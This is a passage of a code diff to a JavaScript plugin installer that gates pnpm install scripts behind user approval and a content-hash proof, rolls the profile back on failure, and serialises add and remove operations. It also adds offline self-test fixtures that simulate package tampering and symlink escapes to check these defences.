+ npm_config_strict_dep_builds: "true",
1281
+ NPM_CONFIG_STRICT_DEP_BUILDS: "true",
1282
+ npm_config_dangerously_allow_all_builds: "false",
1283
+ NPM_CONFIG_DANGEROUSLY_ALLOW_ALL_BUILDS: "false",
1284
+ };
1285
+ }
1286
+
1287
+ export function runInstall({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }) {
1288
+ // Serialized with every other add/remove targeting the same profile (see
1289
+ // serializedProducer). Underscored arguments are self-test seams; production
1290
+ // callers never pass them. `_restoreWorkspace` exists specifically so the
1291
+ // fail-closed restoration path can be attacked without relying on flaky OS
1292
+ // permission tricks.
1293
+ return serializedProducer(_profileDir ?? profileLockKey(profile), () =>
1294
+ runInstallInner({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }));
1295
+ }
1296
+
1297
+ function runInstallInner({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }) {
1298
+ const profileDir = _profileDir ?? ensureProfile(profile);
1299
+ try {
1300
+ assertNoManifestBuildBypass(profileDir);
1301
+ } catch (error) {
1302
+ return failedNow(`cannot safely probe install scripts for ${spec}: ${error.message}`);
1303
+ }
671
1304
  // Dependency keys BEFORE pnpm add, so reconcile only manages entries that
672
1305
  // were (or became) dependencies and never touches template bundles.
673
1306
  const beforeDeps = new Set(Object.keys(readManifest(profileDir).dependencies ?? {}));
@@ -677,14 +1310,78 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
677
1310
  collected.push(text);
678
1311
  deltaQueue.push(text);
679
1312
  };
1313
+
1314
+ const workspacePath = join(profileDir, "pnpm-workspace.yaml");
1315
+ const originalWorkspaceBytes = existsSync(workspacePath) ? readFileSync(workspacePath) : undefined;
1316
+ let workspaceRestored = false;
1317
+ let workspaceRestoreError;
1318
+ const restoreOriginalWorkspace = () => {
1319
+ if (workspaceRestored) return true;
1320
+ try {
1321
+ if (_restoreWorkspace !== undefined) {
1322
+ _restoreWorkspace(workspacePath, originalWorkspaceBytes);
1323
+ } else if (originalWorkspaceBytes === undefined) {
1324
+ rmSync(workspacePath, { force: true });
1325
+ } else {
1326
+ writeFileSync(workspacePath, originalWorkspaceBytes);
1327
+ }
1328
+ workspaceRestored = true;
1329
+ workspaceRestoreError = undefined;
1330
+ return true;
1331
+ } catch (err) {
1332
+ workspaceRestoreError = err;
1333
+ push(`\n[dsh-plugin-mall] WARNING: could not restore pnpm-workspace.yaml: ${err.message}\n`);
1334
+ return false;
1335
+ }
1336
+ };
1337
+
1338
+ // Snapshot the four profile files and register the pending marker BEFORE the
1339
+ // first live pnpm add runs. These are the files that decide what pnpm
1340
+ // installs and what dsh loads; the marker is what lets startup/CLI recovery
1341
+ // roll the profile back if the plugin proves unloadable.
1342
+ let snapshot;
1343
+ try {
1344
+ snapshot = createProfileSnapshot(profileDir, { spec });
1345
+ } catch (error) {
1346
+ return failedNow(`cannot snapshot profile before installing ${spec}: ${error.message} — refusing to touch the profile`);
1347
+ }
1348
+ try {
1349
+ markPendingSnapshot(snapshot, { spec, preflight });
1350
+ } catch (error) {
1351
+ rmSync(snapshot.dir, { recursive: true, force: true });
1352
+ return failedNow(`cannot register the install pending marker for ${spec}: ${error.message} — refusing to touch the profile`);
1353
+ }
1354
+
1355
+ // Neutralize existing allowBuilds before every first pnpm add so strict-dep-builds
1356
+ // always blocks candidate lifecycle scripts regardless of pre-existing workspace policy.
1357
+ try {
1358
+ if (originalWorkspaceBytes !== undefined) {
1359
+ const neutralized = neutralizeWorkspaceContent(originalWorkspaceBytes.toString("utf8"));
1360
+ writeYamlChecked(workspacePath, neutralized, "pnpm-workspace.yaml");
1361
+ } else {
1362
+ writeYamlChecked(workspacePath, DEFAULT_WORKSPACE_YAML, "pnpm-workspace.yaml");
1363
+ }
1364
+ } catch (error) {
1365
+ const restored = restoreOriginalWorkspace();
1366
+ try {
1367
+ if (restored) commitPendingSnapshot(profileDir);
1368
+ else rollbackPendingSnapshot(profileDir);
1369
+ } catch (cleanupError) {
1370
+ return failedNow(`cannot neutralize workspace build policy before installing ${spec}: ${error.message}; cleanup also failed: ${cleanupError.message}`);
1371
+ }
1372
+ return failedNow(`cannot neutralize workspace allowBuilds before installing ${spec}: ${error.message} — refusing to touch the profile`);
1373
+ }
1374
+
680
1375
  let current = undefined;
681
1376
  let pnpmSelfHealed = false;
1377
+ const plan = _spawn === undefined ? pnpmSpawnPlan() : { command: "pnpm", shell: false, treeKill: false };
1378
+ const spawnImpl = _spawn ?? spawn;
682
1379
 
683
1380
  const spawnAdd = () => {
684
- const proc = spawn("pnpm", ["add", spec, "--reporter=append-only"], {
1381
+ const proc = spawnImpl(plan.command, liveAddArgs(spec), {
685
1382
  cwd: profileDir,
686
- env: process.env,
687
- shell: process.platform === "win32",
1383
+ env: liveAddEnv(),
1384
+ shell: plan.shell,
688
1385
  stdio: ["ignore", "pipe", "pipe"],
689
1386
  windowsHide: true,
690
1387
  });
@@ -694,7 +1391,24 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
694
1391
  });
695
1392
  proc.stdout?.on("data", (data) => push(data.toString()));
696
1393
  proc.stderr?.on("data", (data) => push(data.toString()));
697
- return { proc, done };
1394
+ return { proc, done, treeKill: plan.treeKill };
1395
+ };
1396
+
1397
+ const spawnApprovedRebuild = (packageNames) => {
1398
+ const proc = spawnImpl(plan.command, rebuildApprovedArgs(packageNames), {
1399
+ cwd: profileDir,
1400
+ env: liveAddEnv(),
1401
+ shell: plan.shell,
1402
+ stdio: ["ignore", "pipe", "pipe"],
1403
+ windowsHide: true,
1404
+ });
1405
+ const done = new Promise((resolveDone) => {
1406
+ proc.on("error", (error) => resolveDone({ spawnError: error }));
1407
+ proc.on("close", (exitCode) => resolveDone({ exitCode, signal: proc.signalCode }));
1408
+ });
1409
+ proc.stdout?.on("data", (data) => push(data.toString()));
1410
+ proc.stderr?.on("data", (data) => push(data.toString()));
1411
+ return { proc, done, treeKill: plan.treeKill };
698
1412
  };
699
1413
 
700
1414
  /** Post-success accounting: reconcile bundles, register client rows, summarize. */
@@ -723,95 +1437,165 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
723
1437
  return { status: "completed", detail: `installed ${spec} into profile "${profile}"${noteText}. Restart dsh for plugin code to load.` };
724
1438
  };
725
1439
 
1440
+ const tryFinalize = () => {
1441
+ try {
1442
+ return finalizeSuccess();
1443
+ } catch (error) {
1444
+ return { status: "failed", detail: `pnpm installed ${spec} but post-install reconciliation failed: ${error?.message ?? String(error)}` };
1445
+ }
1446
+ };
1447
+
726
1448
  const settle = async (outcome) => {
727
1449
  if (outcome.spawnError !== undefined) {
728
- // pnpm 缺失时先尝试 corepack 自愈一次,成功则重跑安装。
729
1450
  if (outcome.spawnError.code === "ENOENT" && !pnpmSelfHealed) {
730
1451
  pnpmSelfHealed = true;
731
1452
  const healed = await enablePnpmViaCorepack(push);
732
1453
  if (healed) {
733
1454
  const retry = spawnAdd();
734
- current = retry.proc;
1455
+ current = retry;
735
1456
  return settle(await retry.done);
736
1457
  }
1458
+ restoreOriginalWorkspace();
737
1459
  return { status: "failed", detail: "pnpm not found on PATH and `corepack enable pnpm` could not provision it — install pnpm (e.g. `npm i -g pnpm`) to manage profile plugins" };
738
1460
  }
1461
+ restoreOriginalWorkspace();
739
1462
  const hint = outcome.spawnError.code === "ENOENT"
740
1463
  ? "pnpm not found on PATH — install pnpm (e.g. `corepack enable pnpm`) to manage profile plugins"
741
1464
  : `could not start pnpm: ${outcome.spawnError.message}`;
742
1465
  return { status: "failed", detail: hint };
743
1466
  }
744
1467
  if (outcome.exitCode === null) {
1468
+ restoreOriginalWorkspace();
745
1469
  return { status: "killed", detail: outcome.signal ? `signal: ${outcome.signal}` : "killed before exit" };
746
1470
  }
747
- if (outcome.exitCode === 0) {
748
- return finalizeSuccess();
749
- }
750
1471
  const log = collected.join("");
751
1472
  const ignored = parseIgnoredBuilds(log);
1473
+
752
1474
  if (ignored.length === 0) {
753
- return { status: "failed", detail: `pnpm add ${spec} failed (exit code ${outcome.exitCode}). See job output.` };
1475
+ if (!restoreOriginalWorkspace()) {
1476
+ return { status: "failed", detail: `could not restore pnpm-workspace.yaml after the script-blocking probe: ${workspaceRestoreError?.message ?? "unknown error"}` };
1477
+ }
1478
+ if (outcome.exitCode !== 0) {
1479
+ return { status: "failed", detail: `pnpm add ${spec} failed (exit code ${outcome.exitCode}). See job output.` };
1480
+ }
1481
+ return tryFinalize();
1482
+ }
1483
+
1484
+ // Materialized proof calculation:
1485
+ // Determine candidate name and compute canonical proof from the materialized tree
1486
+ const candidateName = resolveCandidateName(profileDir, spec, beforeDeps, preflight);
1487
+ let currentProof;
1488
+ try {
1489
+ currentProof = computeMaterializedProof(profileDir, candidateName, ignored);
1490
+ } catch (proofErr) {
1491
+ restoreOriginalWorkspace();
1492
+ return { status: "failed", detail: `failed to compute materialized package proof for ${spec}: ${proofErr.message}` };
754
1493
  }
755
- // 放行构建脚本 = 让这些包在用户机器上、以用户的权限、在任何插件代码加载
756
- // 之前执行任意命令。这个决定属于用户,不属于我们。所以没有点名同意时就停
757
- // 在这里——pnpm 拦截的位置恰好在「已下载」与「已执行」之间,此刻什么都还
758
- // 没跑,profile 也一个字节没动。
1494
+
759
1495
  const consented = new Set((Array.isArray(allowBuildScripts) ? allowBuildScripts : []).map((name) => String(name)));
760
1496
  const missing = ignored.filter((entry) => !consented.has(entry.name));
761
- if (missing.length > 0) {
1497
+ if (missing.length > 0 || approvedProof === undefined) {
762
1498
  push(`\n[dsh-plugin-mall] pnpm blocked install scripts for: ${ignored.map((entry) => entry.name).join(", ")}\n`);
763
1499
  push("[dsh-plugin-mall] stopping for approval — no install script ran, nothing is loadable yet.\n");
764
1500
  let disclosure;
765
1501
  try {
766
- disclosure = await describeBuildScripts(missing, {
767
- registry: await resolveRegistry(profile),
768
- installedName: npmNameOf(spec) ?? undefined,
769
- });
1502
+ const hints = _describe !== undefined
1503
+ ? await _describe(missing.length > 0 ? missing : ignored)
1504
+ : await describeBuildScripts(missing.length > 0 ? missing : ignored, {
1505
+ registry: await resolveRegistry(profile),
1506
+ installedName: npmNameOf(spec) ?? undefined,
1507
+ });
1508
+ disclosure = disclosureFromMaterializedProof(currentProof, hints);
770
1509
  } catch {
771
- disclosure = missing.map((entry) => ({ ...entry, direct: false }));
1510
+ disclosure = disclosureFromMaterializedProof(currentProof);
1511
+ }
1512
+ if (!restoreOriginalWorkspace()) {
1513
+ return { status: "failed", detail: `could not restore pnpm-workspace.yaml after preparing install-script disclosure: ${workspaceRestoreError?.message ?? "unknown error"}` };
772
1514
  }
773
- return { status: "failed", detail: renderApprovalNeeded(spec, disclosure), needsApproval: disclosure };
1515
+ return { status: "failed", detail: renderApprovalNeeded(spec, disclosure), needsApproval: disclosure, proof: currentProof };
1516
+ }
1517
+
1518
+ // Canonical proof verification on retry:
1519
+ // Require exact byte-for-byte canonical proof equality
1520
+ const currentProofStr = serializeCanonicalProof(currentProof);
1521
+ const approvedProofStr = serializeCanonicalProof(approvedProof);
1522
+ if (currentProofStr !== approvedProofStr) {
1523
+ push("\n[dsh-plugin-mall] security error: materialized package proof does not match approved token proof (content, scripts, or package identity changed) — refusing to run scripts and rolling back\n");
1524
+ restoreOriginalWorkspace();
1525
+ return {
1526
+ status: "failed",
1527
+ detail: "security verification failed: package content, scripts, or resolved identity changed after approval was granted — install aborted to protect the profile.",
1528
+ };
774
1529
  }
1530
+
775
1531
  push(`\n[dsh-plugin-mall] approved install scripts: ${ignored.map((entry) => entry.name).join(", ")}\n`);
776
- push("[dsh-plugin-mall] allowing them in the profile's pnpm-workspace.yaml and retrying once.\n");
777
- let rollbackAllowBuilds;
1532
+ push("[dsh-plugin-mall] temporarily allowing them in the profile's pnpm-workspace.yaml and retrying once.\n");
1533
+
1534
+ workspaceRestored = false; // allow writing temporary approved builds
778
1535
  try {
779
- rollbackAllowBuilds = ensureAllowBuilds(profileDir, ignored.map((entry) => entry.name));
1536
+ const currentWs = existsSync(workspacePath) ? readFileSync(workspacePath, "utf8") : DEFAULT_WORKSPACE_YAML;
1537
+ const nextWs = enableApprovedBuildSelectors(currentWs, ignored.map((entry) => entry.selector));
1538
+ writeYamlChecked(workspacePath, nextWs, "pnpm-workspace.yaml");
780
1539
  } catch (error) {
781
- return { status: "failed", detail: `could not allow the blocked build scripts: ${error.message}. The profile was left untouched — approve them yourself with \`pnpm approve-builds\` in ${profileDir}, then retry.` };
1540
+ restoreOriginalWorkspace();
1541
+ return { status: "failed", detail: `could not allow the blocked build scripts: ${error.message}. The profile was left untouched.` };
782
1542
  }
783
- // allowBuilds 是持久化的安全配置。为一次没装成的插件单向放宽它,等于以后
784
- // 这个包名再出现(哪怕是别人的传递依赖)就静默放行——失败必须收回。
785
- const revert = () => {
786
- if (rollbackAllowBuilds === undefined) return;
787
- try {
788
- rollbackAllowBuilds();
789
- push("[dsh-plugin-mall] install failed — reverted the allowBuilds change, the profile is as it was\n");
790
- } catch {
791
- /* 还原失败不该盖掉真正的失败原因 */
792
- }
793
- };
794
- const retry = spawnAdd();
795
- current = retry.proc;
1543
+
1544
+ const retry = spawnApprovedRebuild(ignored.map((entry) => entry.name));
1545
+ current = retry;
796
1546
  const retryOutcome = await retry.done;
1547
+
1548
+ // Restore workspace bytes on EVERY branch (including success) before finalize
1549
+ if (!restoreOriginalWorkspace()) {
1550
+ return { status: "failed", detail: `approved scripts finished but pnpm-workspace.yaml could not be restored: ${workspaceRestoreError?.message ?? "unknown error"}` };
1551
+ }
1552
+
797
1553
  if (retryOutcome.spawnError !== undefined) {
798
- revert();
799
1554
  return { status: "failed", detail: `retry could not start pnpm: ${retryOutcome.spawnError.message}` };
800
1555
  }
1556
+ if (retryOutcome.exitCode === null) {
1557
+ return { status: "killed", detail: retryOutcome.signal ? `signal: ${retryOutcome.signal}` : "killed before exit" };
1558
+ }
801
1559
  if (retryOutcome.exitCode === 0) {
802
- return finalizeSuccess();
1560
+ return tryFinalize();
803
1561
  }
804
- revert();
805
- return { status: "failed", detail: `pnpm add ${spec} still failed after allowing build scripts (exit code ${retryOutcome.exitCode}). See job output. The allowBuilds change was reverted; pnpm may still have left the dependency in the profile's package.json — market_uninstall removes it.` };
1562
+ return { status: "failed", detail: `pnpm add ${spec} still failed after allowing build scripts (exit code ${retryOutcome.exitCode}). See job output.` };
806
1563
  };
807
1564
 
808
1565
  const first = spawnAdd();
809
- current = first.proc;
810
- const done = first.done.then((outcome) => settle(outcome));
1566
+ current = first;
1567
+ const done = first.done
1568
+ .then((outcome) => settle(outcome))
1569
+ .catch((error) => {
1570
+ restoreOriginalWorkspace();
1571
+ return {
1572
+ status: "failed",
1573
+ detail: `install of ${spec} hit an internal error: ${error?.message ?? String(error)}`,
1574
+ };
1575
+ })
1576
+ .then((result) => {
1577
+ if (!restoreOriginalWorkspace()) {
1578
+ result = {
1579
+ status: "failed",
1580
+ detail: `pnpm-workspace.yaml restoration failed (${workspaceRestoreError?.message ?? "unknown error"}); refusing to finalize and rolling the profile back`,
1581
+ };
1582
+ }
1583
+ if (result.status === "completed") {
1584
+ // Keep the marker as-is
1585
+ } else {
1586
+ try {
1587
+ rollbackPendingSnapshot(profileDir);
1588
+ push("\n[dsh-plugin-mall] install did not complete — restored profile files to their pre-install state and cleared the pending marker\n");
1589
+ } catch (error) {
1590
+ push(`\n[dsh-plugin-mall] WARNING: could not roll back the pending snapshot: ${error.message}\n`);
1591
+ }
1592
+ }
1593
+ return result;
1594
+ });
811
1595
 
812
1596
  return {
813
1597
  cancel: () => {
814
- current?.kill();
1598
+ cancelSpawned(current);
815
1599
  },
816
1600
  done,
817
1601
  readOutput: () => {
@@ -838,12 +1622,32 @@ function failedNow(detail) {
838
1622
  * `dsh.profile.bundles` (the removed dependency's bundle entry drops out) and
839
1623
  * deletes the client loader row `ensureClientRow` had registered for it.
840
1624
  */
841
- export function runRemove({ profile, packageName }, selfHealed = false) {
1625
+ export function runRemove({ profile, packageName, _profileDir, _spawn }) {
1626
+ // Same per-profile queue as runInstall — a remove must never run
1627
+ // concurrently with an install (or another remove) in the same profile.
1628
+ return serializedProducer(_profileDir ?? profileLockKey(profile), () =>
1629
+ runRemoveInner({ profile, packageName, _profileDir, _spawn }, false));
1630
+ }
1631
+
1632
+ function runRemoveInner({ profile, packageName, _profileDir, _spawn }, selfHealed) {
842
1633
  let profileDir;
843
- try {
844
- profileDir = resolveProfileDir(profile);
845
- } catch (error) {
846
- return failedNow(`invalid profile: ${error.message}`);
1634
+ if (_profileDir !== undefined) {
1635
+ profileDir = _profileDir;
1636
+ } else {
1637
+ try {
1638
+ profileDir = resolveProfileDir(profile);
1639
+ } catch (error) {
1640
+ return failedNow(`invalid profile: ${error.message}`);
1641
+ }
1642
+ }
1643
+ // Fail closed: an unresolved install transaction (pending marker) owns this
1644
+ // profile until startup/CLI recovery commits or rolls it back. Removing
1645
+ // packages underneath it would corrupt the state the marker protects.
1646
+ // Existence-only, like markPendingSnapshot: a corrupt marker blocks just as
1647
+ // hard as a valid one, and is left untouched for the recovery path.
1648
+ const markerPath = pendingMarkerPath(profileDir);
1649
+ if (existsSync(markerPath)) {
1650
+ return failedNow(`profile "${profile}" has a pending install transaction (${markerPath}) — refusing to remove ${packageName} until it is resolved; restart dsh (startup recovery) or run \`dsh-plugin-guard guard recover\` first`);
847
1651
  }
848
1652
  const manifestPath = join(profileDir, "package.json");
849
1653
  if (!existsSync(manifestPath)) {
@@ -859,25 +1663,26 @@ export function runRemove({ profile, packageName }, selfHealed = false) {
859
1663
  };
860
1664
  let current = undefined;
861
1665
 
862
- const proc = spawn("pnpm", ["remove", packageName, "--reporter=append-only"], {
1666
+ const plan = _spawn === undefined ? pnpmSpawnPlan() : { command: "pnpm", shell: false, treeKill: false };
1667
+ const proc = (_spawn ?? spawn)(plan.command, ["remove", packageName, "--reporter=append-only"], {
863
1668
  cwd: profileDir,
864
1669
  env: process.env,
865
- shell: process.platform === "win32",
1670
+ shell: plan.shell,
866
1671
  stdio: ["ignore", "pipe", "pipe"],
867
1672
  windowsHide: true,
868
1673
  });
869
- current = proc;
1674
+ current = { proc, treeKill: plan.treeKill };
870
1675
  const done = new Promise((resolve) => {
871
1676
  proc.on("error", (error) => resolve({ spawnError: error }));
872
1677
  proc.on("close", (exitCode) => resolve({ exitCode, signal: proc.signalCode }));
873
1678
  }).then(async (outcome) => {
874
1679
  if (outcome.spawnError !== undefined) {
875
- // pnpm 缺失时先 corepack 自愈一次再重试(重试在新 producer 里跑,
876
- // 这里必须返回它的 done outcome——返回 producer 本体会让 tracker
877
- // 把成功任务记成 failed)。
1680
+ // pnpm 缺失时先 corepack 自愈一次再重试(重试复用同一个队列内的
1681
+ // producer——若走 runRemove 重新排队会死锁——且必须返回它的 done
1682
+ // outcome,返回 producer 本体会让 tracker 把成功任务记成 failed)。
878
1683
  if (outcome.spawnError.code === "ENOENT" && selfHealed !== true) {
879
1684
  const healed = await enablePnpmViaCorepack(push);
880
- if (healed) return await runRemove({ profile, packageName }, true).done;
1685
+ if (healed) return await runRemoveInner({ profile, packageName, _profileDir, _spawn }, true).done;
881
1686
  }
882
1687
  const hint = outcome.spawnError.code === "ENOENT"
883
1688
  ? "pnpm not found on PATH — install pnpm (e.g. `corepack enable pnpm`) to manage profile plugins"
@@ -890,18 +1695,24 @@ export function runRemove({ profile, packageName }, selfHealed = false) {
890
1695
  if (outcome.exitCode !== 0) {
891
1696
  return { status: "failed", detail: `pnpm remove ${packageName} failed (exit code ${outcome.exitCode}). See job output.` };
892
1697
  }
893
- const bundles = reconcileBundles(profileDir, beforeDeps);
894
- const clientRow = removeClientRow(profileDir, packageName);
895
- const notes = [`bundle layer(s) now: ${bundles.join(", ") || "none (template only)"}`];
896
- if (clientRow.removed) notes.push(`removed client loader row "${clientRow.rowId}" from cordis.patch.yml`);
897
- return { status: "completed", detail: `removed ${packageName} from profile "${profile}" — ${notes.join("; ")}. Restart dsh for the change to take effect.` };
898
- });
1698
+ // 卸完后的对账(bundle 列表、client 行)抛错也必须落成 terminal failed,
1699
+ // 不能让 done 拒绝。
1700
+ try {
1701
+ const bundles = reconcileBundles(profileDir, beforeDeps);
1702
+ const clientRow = removeClientRow(profileDir, packageName);
1703
+ const notes = [`bundle layer(s) now: ${bundles.join(", ") || "none (template only)"}`];
1704
+ if (clientRow.removed) notes.push(`removed client loader row "${clientRow.rowId}" from cordis.patch.yml`);
1705
+ return { status: "completed", detail: `removed ${packageName} from profile "${profile}" — ${notes.join("; ")}. Restart dsh for the change to take effect.` };
1706
+ } catch (error) {
1707
+ return { status: "failed", detail: `pnpm removed ${packageName} but post-remove reconciliation failed: ${error?.message ?? String(error)}` };
1708
+ }
1709
+ }).catch((error) => ({ status: "failed", detail: `remove of ${packageName} hit an internal error: ${error?.message ?? String(error)}` }));
899
1710
  proc.stdout?.on("data", (data) => push(data.toString()));
900
1711
  proc.stderr?.on("data", (data) => push(data.toString()));
901
1712
 
902
1713
  return {
903
1714
  cancel: () => {
904
- current?.kill();
1715
+ cancelSpawned(current);
905
1716
  },
906
1717
  done,
907
1718
  readOutput: () => {
@@ -1007,9 +1818,706 @@ function runAllowBuildsFixtures() {
1007
1818
  return failed;
1008
1819
  }
1009
1820
 
1821
+ // ── transaction fixtures (deterministic, offline) ───────────────────────────
1822
+ //
1823
+ // The findings these pin:
1824
+ // 1. pnpm exiting 0 while printing "Ignored build scripts" must NOT
1825
+ // finalize success — the approval gate applies to successful output too.
1826
+ // 2. An exception in finalizeSuccess must become a terminal failed outcome
1827
+ // WITH rollback — done resolves exactly once, never rejects.
1828
+ // 3. add/remove are serialized per profile; remove fails closed while a
1829
+ // pending marker exists; cancel while queued never spawns pnpm.
1830
+ // 4. The spawn plan resolves pnpm without a shell where possible, and a
1831
+ // cancelled install rolls back only after the process exited.
1832
+ // They drive runInstall/runRemove through the `_profileDir`/`_spawn`/
1833
+ // `_describe` seams against temp profiles (<tmp>/home/profiles/p), so no real
1834
+ // profile, pnpm, or network is involved.
1835
+
1836
+ /** Minimal fake ChildProcess: stdout/stderr emitters, kill(), manual finish. */
1837
+ class FakeProc extends EventEmitter {
1838
+ constructor() {
1839
+ super();
1840
+ this.stdout = new EventEmitter();
1841
+ this.stderr = new EventEmitter();
1842
+ this.pid = 424242;
1843
+ this.signalCode = null;
1844
+ }
1845
+ kill() {
1846
+ queueMicrotask(() => {
1847
+ this.signalCode = "SIGTERM";
1848
+ this.emit("close", null, "SIGTERM");
1849
+ });
1850
+ }
1851
+ finish(code, out = "") {
1852
+ queueMicrotask(() => {
1853
+ if (out.length > 0) this.stdout.emit("data", Buffer.from(out));
1854
+ this.emit("close", code);
1855
+ });
1856
+ }
1857
+ }
1858
+
1859
+ /** Spawn fake consuming scripted {code, out, beforeExit} steps; records calls. */
1860
+ function scriptedSpawn(steps) {
1861
+ const calls = [];
1862
+ const spawnFn = (command, args, options) => {
1863
+ calls.push({ command, args, options });
1864
+ const proc = new FakeProc();
1865
+ const step = steps[calls.length - 1];
1866
+ if (step === undefined) proc.finish(1, "unexpected extra spawn");
1867
+ else {
1868
+ step.beforeExit?.();
1869
+ proc.finish(step.code, step.out ?? "");
1870
+ }
1871
+ return proc;
1872
+ };
1873
+ return { spawnFn, calls };
1874
+ }
1875
+
1876
+ /** Spawn fake whose procs stay alive until the test finishes them. */
1877
+ function blockingSpawn() {
1878
+ const procs = [];
1879
+ const spawnFn = () => {
1880
+ const proc = new FakeProc();
1881
+ procs.push(proc);
1882
+ return proc;
1883
+ };
1884
+ return { spawnFn, procs };
1885
+ }
1886
+
1887
+ /** Temp profile at <tmp>/home/profiles/p — guard home resolves to <tmp>/home/guard. */
1888
+ function makeTempProfile(label, dependencies = {}) {
1889
+ const home = mkdtempSync(join(tmpdir(), `dsh-mall-selftest-${label}-`));
1890
+ const profileDir = join(home, "profiles", "p");
1891
+ mkdirSync(profileDir, { recursive: true });
1892
+ const manifest = JSON.stringify({ name: "p", dependencies }, undefined, 2) + "\n";
1893
+ writeFileSync(join(profileDir, "package.json"), manifest);
1894
+ return { home, profileDir, manifest, cleanup: () => rmSync(home, { recursive: true, force: true }) };
1895
+ }
1896
+
1897
+ function materializeFakePackage(profileDir, name, version = "1.0.0", scripts = {}, files = { "index.js": "module.exports = {};\n" }) {
1898
+ const pkgDir = join(profileDir, "node_modules", ...name.split("/"));
1899
+ mkdirSync(pkgDir, { recursive: true });
1900
+ const manifest = { name, version, scripts };
1901
+ writeFileSync(join(pkgDir, "package.json"), JSON.stringify(manifest, undefined, 2) + "\n");
1902
+ for (const [relPath, content] of Object.entries(files)) {
1903
+ const full = join(pkgDir, relPath);
1904
+ mkdirSync(dirname(full), { recursive: true });
1905
+ writeFileSync(full, content);
1906
+ }
1907
+ return pkgDir;
1908
+ }
1909
+
1910
+ const describeStub = async (missing) => missing.map((entry) => ({ ...entry, direct: true, scripts: {} }));
1911
+
1912
+ // 回滚校验要求 marker 能指认候选包(guard.js sanitizeSnapshot),生产环境由
1913
+ // preflight 报告带来;fixtures 给同名存根。
1914
+ const preflightStub = (name) => ({ candidate: { name } });
1915
+
1916
+ async function runTransactionFixtures() {
1917
+ let failed = 0;
1918
+ const check = (label, ok, extra) => {
1919
+ if (!ok) failed++;
1920
+ console.log(` ${ok ? "PASS" : "FAIL"} ${label}`);
1921
+ if (!ok && extra !== undefined) console.log(` ${extra}`);
1922
+ };
1923
+ const tick = () => new Promise((resolve) => setTimeout(resolve, 1));
1924
+ const flush = async (rounds = 5) => { for (let index = 0; index < rounds; index++) await tick(); };
1925
+
1926
+ // 0. hashPackageTree 确定性与符号链接越界防御
1927
+ {
1928
+ const tempDir = mkdtempSync(join(tmpdir(), "dsh-mall-selftest-hash-"));
1929
+ try {
1930
+ materializeFakePackage(tempDir, "test-pkg", "1.0.0", { postinstall: "node test.js" }, { "a.js": "const a = 1;\n", "b.js": "const b = 2;\n" });
1931
+ const pkgPath = join(tempDir, "node_modules", "test-pkg");
1932
+ const hash1 = hashPackageTree(pkgPath);
1933
+ const hash2 = hashPackageTree(pkgPath);
1934
+ check("hashPackageTree 确定性(内容不变哈希相同)", typeof hash1 === "string" && hash1.length === 64 && hash1 === hash2);
1935
+
1936
+ // 修改文件内容哈希改变
1937
+ writeFileSync(join(pkgPath, "a.js"), "const a = 999;\n");
1938
+ const hash3 = hashPackageTree(pkgPath);
1939
+ check("包内文件修改 → hashPackageTree 哈希变化", hash1 !== hash3);
1940
+
1941
+ // Bundled dependencies live below the package's own node_modules and
1942
+ // may contain lifecycle helpers/native loaders. They are artifact bytes,
1943
+ // not the profile's dependency tree, so changing them must invalidate
1944
+ // the approval proof as well.
1945
+ const bundledDir = join(pkgPath, "node_modules", "bundled-helper");
1946
+ mkdirSync(bundledDir, { recursive: true });
1947
+ writeFileSync(join(bundledDir, "package.json"), '{"name":"bundled-helper","version":"1.0.0"}\n');
1948
+ writeFileSync(join(bundledDir, "loader.js"), "safe();\n");
1949
+ const bundledHash1 = hashPackageTree(pkgPath);
1950
+ writeFileSync(join(bundledDir, "loader.js"), "malicious();\n");
1951
+ const bundledHash2 = hashPackageTree(pkgPath);
1952
+ check("包内 bundled node_modules 字节变化 → artifact hash 变化", bundledHash1 !== bundledHash2);
1953
+
1954
+ // 符号链接/Junction 越界防御
1955
+ const outsideDir = mkdtempSync(join(tmpdir(), "dsh-mall-outside-"));
1956
+ try {
1957
+ writeFileSync(join(outsideDir, "secret.txt"), "secret");
1958
+ let escapeDetected = false;
1959
+ try {
1960
+ const { symlinkSync } = await import("node:fs");
1961
+ try {
1962
+ symlinkSync(outsideDir, join(pkgPath, "link-outside-dir"), "junction");
1963
+ } catch {
1964
+ symlinkSync(join(outsideDir, "secret.txt"), join(pkgPath, "link-outside.txt"));
1965
+ }
1966
+ hashPackageTree(pkgPath);
1967
+ } catch (err) {
1968
+ escapeDetected = /symlink escape/.test(err.message);
1969
+ }
1970
+ check("hashPackageTree 符号链接越界防御(拒绝越界 symlink)", escapeDetected);
1971
+ } finally {
1972
+ rmSync(outsideDir, { recursive: true, force: true });
1973
+ }
1974
+ } finally {
1975
+ rmSync(tempDir, { recursive: true, force: true });
1976
+ }
1977
+ }
1978
+
1979
+ // 1a. exit 0 + "Ignored build scripts" 且未批准:必须停在批准闸(failed +
1980
+ // needsApproval),携带 proof,绝不 finalize,回滚收掉 marker,且只 spawn 一次。
1981
+ {
1982
+ const { profileDir, cleanup } = makeTempProfile("ignored-gate");
1983
+ try {
1984
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
1985
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
1986
+ const { spawnFn, calls } = scriptedSpawn([{ code: 0, out: "Packages are cloned\nIgnored build scripts: node-pty@1.0.0\nDone\n" }]);
1987
+ const producer = runInstall({
1988
+ profile: "p",
1989
+ spec: "some-plugin",
1990
+ preflight: preflightStub("some-plugin"),
1991
+ _profileDir: profileDir,
1992
+ _spawn: spawnFn,
1993
+ // Deliberately stale/malicious registry data. The approval disclosure
1994
+ // must still use the manifest and bytes from the materialized tree.
1995
+ _describe: async () => [{
1996
+ name: "node-pty",
1997
+ version: "1.0.0",
1998
+ direct: true,
1999
+ scripts: { install: "registry lied" },
2000
+ contentHash: "0".repeat(64),
2001
+ weeklyDownloads: 123,
2002
+ }],
2003
+ });
2004
+ const outcome = await producer.done;
2005
+ check(
2006
+ "退出码 0 + Ignored build scripts(未批准)→ 停在批准闸,返回 proof,不 finalize",
2007
+ outcome.status === "failed"
2008
+ && Array.isArray(outcome.needsApproval)
2009
